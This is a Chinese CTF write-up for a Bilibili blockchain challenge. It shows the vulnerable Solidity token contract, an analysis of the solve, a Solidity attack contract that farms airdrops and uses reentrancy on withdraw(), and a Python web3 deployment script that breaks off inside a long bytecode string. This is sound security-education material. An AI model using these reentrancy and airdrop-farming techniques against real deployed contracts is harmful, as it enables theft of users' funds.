bilibili blockchain

bilibili blockchain

@[toc]

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
pragma solidity 0.8.12;


import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";


struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}


contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;

mapping(address => mapping(address => uint256)) private _allowances;

mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;

uint256 private _totalSupply;

string private _name;
string private _symbol;

address owner;
address backup;
uint secret;
uint tokenprice;

Coupon public c;

address public lala;
address public xixi;


//mid = bilibili uid
//b64email = base64(your email address)
//Don't leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);

constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}

modifier onlyowner() {
require(msg.sender == owner);
_;
}

/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}


function symbol() public view virtual override returns (string memory) {
return _symbol;
}


function decimals() public view virtual override returns (uint8) {
return 18;
}

/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}


function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}

function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}

function getBalance() public view returns (uint) {
return address(this).balance;
}


function setbackup() public onlyowner {
owner = backup;
}

function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}

function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}

function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}

function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}

function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;

require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");

_loand[scoupon.coupon.buser] = 1;

_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}

function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}


function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}


function buy(uint amount) public {
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}


function sale(uint amount) public {
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}

function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");

_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}


/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}


function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}


function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}

return true;
}


function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}

emit Transfer(from, to, amount);

_afterTokenTransfer(from, to, amount);
}


function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount);

_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);

_afterTokenTransfer(address(0), account, amount);
}


function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}

emit Transfer(account, address(0), amount);

_afterTokenTransfer(account, address(0), amount);
}


function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}


function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}


function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}


function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}

// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}

// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}

// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}

// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}


合约最后需要使用ether,所以还得转入ether。利用selfdestruct。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

contract selftode {

constructor() public payable {

}

function tran(address to) public payable {
address payable addr = payable(address(to));
selfdestruct(addr);
}
}

分析

感觉很多函数是迷惑人的,像flashloan或者auth等。考了一些传统漏洞,套了层代币感觉也没用上。

首先看最终触发flag的条件,需要满足_flag[msg.sender] == 2

寻找_flag在哪里被设置,只有一个地方设置了就是withdrawwithdraw很明显本地只想让你调用一次,这样_flag[msg.sender]永远只能是1。但是这里很容易发现可以进行重入攻击,因为使用了call函数,在攻击合约上写个回调函数再次调用即可。

然后就需要满足_ebalances[msg.sender] >= 1812ethbalances[msg.sender] >= 1就行。

首先对于ethbalances可以直接调用deposit即可

然后再来看这个_ebalances变量,它出现的地方较多。最开始想利用flashloan但后来发现需要合约本身调用,

虽然出现了一个testborrowtwice可以让合约本身去调用,但是scoupon.coupon.loankey又不能设置为0了,所以最终放弃这个函数

后面发现sale这里可以用_balances_ebalances的值,那就得先想办法弄_balances了。

最终发现一个薅羊毛的攻击点,这两个函数很明显可以进行薅羊毛攻击,一个账户能薅2个balances。 这样的话就能完成攻击链了。

最终做法

  • 部署多个攻击合约薅羊毛,然后全部转账到一个攻击合约中
  • 用获得的_balances去sale_ebalances
  • 最后利用调用withdraw重入攻击即可

攻击

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

import "./ctf.sol";
contract attack {

MyToken mytoken;
uint status = 0;
event f(address);
function setMyToken(address myto) public{
mytoken = MyToken(myto);
}
function makeauth1(uint pass_) public {
mytoken.auth1(pass_);
}

function makeauth2() public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
mytoken.auth2(pass);
// return pass;
}

function airdopHunting() public {
mytoken.profit();
mytoken.borrow(1);
}
function transf(address to,uint amount) public{
mytoken.transfer(to, amount);
}

function makeflashloan(uint8 v, bytes32 r, bytes32 s) public{
SignCoupon memory scoupon;
scoupon.coupon.loankey=0;
scoupon.coupon.amount=300;
scoupon.coupon.buser=address(this);
scoupon.coupon.reason="just hack";
scoupon.signature.v=v;
scoupon.signature.rs[0]=r;
scoupon.signature.rs[1]=s;
mytoken.flashloan{gas:200000}(scoupon);
// ctfMarket.purchaseWithCoupon{gas:200000}(scoupon);
}
function makedeposit() public {
mytoken.deposit();
}
function makewithdraw() public{
mytoken.withdraw();
}
function get_ebalances() public{
mytoken.sale(302);
}

function getFlag() public {
mytoken.payforflag("1","already getflag!");
}

fallback() external payable{
emit f(msg.sender);
if (status < 1 ){
mytoken.withdraw();
status += 1;
}
}
}

一键部署和攻击脚本
```python
import solcx
from Crypto.Util.number import bytes_to_long
from eth_abi import encode_abi
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
import time
def bytesTohex(data):
# return hex(bytes_to_long(data)).rjust(66,'0')
return hex(bytes_to_long(data))


def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 672197400,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn

def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt

def deploy_ctf():
compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
data = compiled_sol['ctf.sol:MyToken']['bin']
# print(data)
data = '0x60806040523480156200001157600080fd5b50604051620045443803806200454483398181016040528101906200003791906200053b565b82600b90805190602001906200004f929190620002b3565b5081600c908051906020019062000068929190620002b3565b5033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660108190555080600f8190555062000132600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1663851a70406200013b60201b60201c565b50505062000777565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620001ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001a59062000636565b60405180910390fd5b620001c260008383620002a960201b60201c565b80600a6000828254620001d6919062000687565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002899190620006f5565b60405180910390a3620002a560008383620002ae60201b60201c565b5050565b505050565b505050565b828054620002c19062000741565b90600052602060002090601f016020900481019282620002e5576000855562000331565b82601f106200030057805160ff191683800117855562000331565b8280016001018555821562000331579182015b828111156200033057825182559160200191906001019062000313565b5b50905062000340919062000344565b5090565b5b808211156200035f57600081600090555060010162000345565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003cc8262000381565b810181811067ffffffffffffffff82111715620003ee57620003ed62000392565b5b80604052505050565b60006200040362000363565b9050620004118282620003c1565b919050565b600067ffffffffffffffff82111562000434576200043362000392565b5b6200043f8262000381565b9050602081019050919050565b60005b838110156200046c5780820151818401526020810190506200044f565b838111156200047c576000848401525b50505050565b600062000499620004938462000416565b620003f7565b905082815260208101848484011115620004b857620004b76200037c565b5b620004c58482856200044c565b509392505050565b600082601f830112620004e557620004e462000377565b5b8151620004f784826020860162000482565b91505092915050565b6000819050919050565b620005158162000500565b81146200052157600080fd5b50565b60008151905062000535816200050a565b92915050565b6000806000606084860312156200055757620005566200036d565b5b600084015167ffffffffffffffff81111562000578576200057762000372565b5b6200058686828701620004cd565b935050602084015167ffffffffffffffff811115620005aa57620005a962000372565b5b620005b886828701620004cd565b9250506040620005cb8682870162000524565b9150509250925092565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200061e601f83620005d5565b91506200062b82620005e6565b602082019050919050565b6000602082019050818103600083015262000651816200060f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620006948262000500565b9150620006a18362000500565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006d957620006d862000658565b5b828201905092915050565b620006ef8162000500565b82525050565b60006020820190506200070c6000830184620006e4565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200075a57607f821691505b6020821081141562000771576200077062000712565b5b50919050565b613dbd80620007876000396000f3fe608060405234801561001057600080fd5b50600436106102485760003560e01c806370a082311161013b578063ab0cc77b116100b8578063c5ebeaec1161007c578063c5ebeaec1461071a578063d0e30db014610736578063d96a094a14610740578063db50be821461075c578063dd62ed3e1461077a57610248565b8063ab0cc77b1461065f578063ad7a04c014610669578063b2adf8a114610699578063c19263e7146106c9578063c3da42b8146106f957610248565b806395d89b41116100ff57806395d89b411461059557806396032702146105b35780639d44988a146105cf578063a457c2d7146105ff578063a9059cbb1461062f57610248565b806370a08231146104df5780638c0320de1461050f5780638c50c9d11461052b5780638e2a219e146105495780638f9889461461056557610248565b80632ad044b9116101c9578063453cb2e61161018d578063453cb2e61461042757806348e26bfe1461045757806359c32e401461048757806366d16cc3146104a55780636ebcf607146104af57610248565b80632ad044b9146103a9578063302c0dc7146103b3578063313ce567146103cf57806339509351146103ed5780633ccfd60b1461041d57610248565b806311f37ceb1161021057806311f37ceb1461030357806312065fe01461032157806318160ddd1461033f578063195076ec1461035d57806323b872dd1461037957610248565b806305aad32d1461024d57806306fdde0314610269578063095ea7b3146102875780630bb1e8a0146102b75780630dd2f134146102e7575b600080fd5b610267600480360381019061026291906126c7565b6107aa565b005b610271610921565b60405161027e919061278d565b60405180910390f35b6102a1600480360381019061029c919061280d565b6109b3565b6040516102ae9190612868565b60405180910390f35b6102d160048036038101906102cc9190612883565b6109d6565b6040516102de91906128bf565b60405180910390f35b61030160048036038101906102fc91906128fe565b6109ee565b005b61030b610a7d565b60405161031891906128bf565b60405180910390f35b610329610a87565b60405161033691906128bf565b60405180910390f35b610347610a8f565b60405161035491906128bf565b60405180910390f35b610377600480360381019061037291906126c7565b610a99565b005b610393600480360381019061038e9190612947565b610c77565b6040516103a09190612868565b60405180910390f35b6103b1610d01565b005b6103cd60048036038101906103c891906128fe565b610d8b565b005b6103d7611195565b6040516103e491906129b6565b60405180910390f35b6104076004803603810190610402919061280d565b61119e565b6040516104149190612868565b60405180910390f35b610425611230565b005b610441600480360381019061043c9190612883565b6113da565b60405161044e91906128bf565b60405180910390f35b610471600480360381019061046c9190612883565b6113f2565b60405161047e91906128bf565b60405180910390f35b61048f61140a565b60405161049c91906128bf565b60405180910390f35b6104ad61146e565b005b6104c960048036038101906104c49190612883565b611541565b6040516104d691906128bf565b60405180910390f35b6104f960048036038101906104f49190612883565b611559565b60405161050691906128bf565b60405180910390f35b61052960048036038101906105249190612b06565b6115a1565b005b61053361162a565b6040516105409190612b8d565b60405180910390f35b610563600480360381019061055e91906126c7565b611650565b005b61057f600480360381019061057a9190612883565b6116eb565b60405161058c91906128bf565b60405180910390f35b61059d611703565b6040516105aa919061278d565b60405180910390f35b6105cd60048036038101906105c891906126c7565b611795565b005b6105e960048036038101906105e49190612883565b6118af565b6040516105f691906128bf565b60405180910390f35b6106196004803603810190610614919061280d565b6118c7565b6040516106269190612868565b60405180910390f35b6106496004803603810190610644919061280d565b611999565b6040516106569190612868565b60405180910390f35b6106676119bc565b005b610683600480360381019061067e9190612883565b611a7b565b60405161069091906128bf565b60405180910390f35b6106b360048036038101906106ae9190612883565b611a93565b6040516106c091906128bf565b60405180910390f35b6106e360048036038101906106de9190612883565b611aab565b6040516106f091906128bf565b60405180910390f35b610701611ac3565b6040516107119493929190612bfd565b60405180910390f35b610734600480360381019061072f91906126c7565b611b89565b005b61073e611c6a565b005b61075a600480360381019061075591906126c7565b611d8a565b005b610764611ef5565b6040516107719190612b8d565b60405180910390f35b610794600480360381019061078f9190612c49565b611f1b565b6040516107a191906128bf565b60405180910390f35b600f5481146107ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e590612cd5565b60405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086790612d41565b60405180910390fd5b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108c09190612d90565b925050819055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109179190612d90565b9250508190555050565b6060600b805461093090612e15565b80601f016020809104026020016040519081016040528092919081815260200182805461095c90612e15565b80156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b6000806109be611fa2565b90506109cb818585611faa565b600191505092915050565b60076020528060005260406000206000915090505481565b6108b9818060000190610a019190612e4c565b6000013514610a0f57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663302c0dc7826040518263ffffffff1660e01b8152600401610a489190613121565b600060405180830381600087803b158015610a6257600080fd5b505af1158015610a76573d6000803e3d6000fd5b5050505050565b6000601054905090565b600047905090565b6000600a54905090565b6000600143610aa89190613143565b4042604051602001610abb9291906131c3565b6040516020818303038152906040528051906020012060001c9050818114610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f9061323b565b60405180910390fd5b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b91906132a7565b60405180910390fd5b6001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390612d41565b60405180910390fd5b6001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c6c9190612d90565b925050819055505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd357600080fd5b6000610cdd611fa2565b9050610cea858285612175565b610cf5858585612201565b60019150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5b57600080fd5b610d89600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e8612479565b565b6000818060000190610d9d9190612e4c565b6000013514610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890613313565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e469061337f565b60405180910390fd5b6000818060000190610e619190612e4c565b610e6a906134de565b9050600082602001803603810190610e829190613623565b9050816011600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003019080519060200190610efe9291906125da565b50905050600260066000858060000190610f189190612e4c565b6040016020810190610f2a9190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c906132a7565b60405180910390fd5b600060076000858060000190610fbb9190612e4c565b6040016020810190610fcd9190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103f9061369c565b60405180910390fd5b61012c83806000019061105b9190612e4c565b6020013511156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790613708565b60405180910390fd5b6001600760008580600001906110b69190612e4c565b60400160208101906110c89190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508280600001906111169190612e4c565b602001356001600085806000019061112e9190612e4c565b60400160208101906111409190612883565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111899190612d90565b92505081905550505050565b60006012905090565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111fa57600080fd5b6000611204611fa2565b90506112258185856112168589611f1b565b6112209190612d90565b611faa565b600191505092915050565b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561127d57600080fd5b610714600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112cb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006040516112f790613759565b60006040518083038185875af1925050503d8060008114611334576040519150601f19603f3d011682016040523d82523d6000602084013e611339565b606091505b5050506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113d19190612d90565b92505081905550565b60016020528060005260406000206000915090505481565b60086020528060005260406000206000915090505481565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146657600080fd5b600f54905090565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114ba57600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461150a9190612d90565b9250508190555061153f600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336001612201565b565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6002600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146115ed57600080fd5b7f6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90828260405161161e92919061376e565b60405180910390a15050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116aa57600080fd5b80600f819055507f9e768e86781e8c9d9c65dac4542aa33ae66f4cee72a860d9bb6de71530bc8b6b816040516116e091906128bf565b60405180910390a150565b60096020528060005260406000206000915090505481565b6060600c805461171290612e15565b80601f016020809104026020016040519081016040528092919081815260200182805461173e90612e15565b801561178b5780601f106117605761010080835404028352916020019161178b565b820191906000526020600020905b81548152906001019060200180831161176e57829003601f168201915b5050505050905090565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d906137f1565b60405180910390fd5b6000601054826118269190613811565b905061185533600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612201565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118a49190612d90565b925050819055505050565b60066020528060005260406000206000915090505481565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461192357600080fd5b600061192d611fa2565b9050600061193b8286611f1b565b905083811015611980576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611977906138dd565b60405180910390fd5b61198d8286868403611faa565b60019250505092915050565b6000806119a4611fa2565b90506119b1818585612201565b600191505092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a1657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60026020528060005260406000206000915090505481565b60046020528060005260406000206000915090505481565b60056020528060005260406000206000915090505481565b60118060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806003018054611b0690612e15565b80601f0160208091040260200160405190810160405280929190818152602001828054611b3290612e15565b8015611b7f5780601f10611b5457610100808354040283529160200191611b7f565b8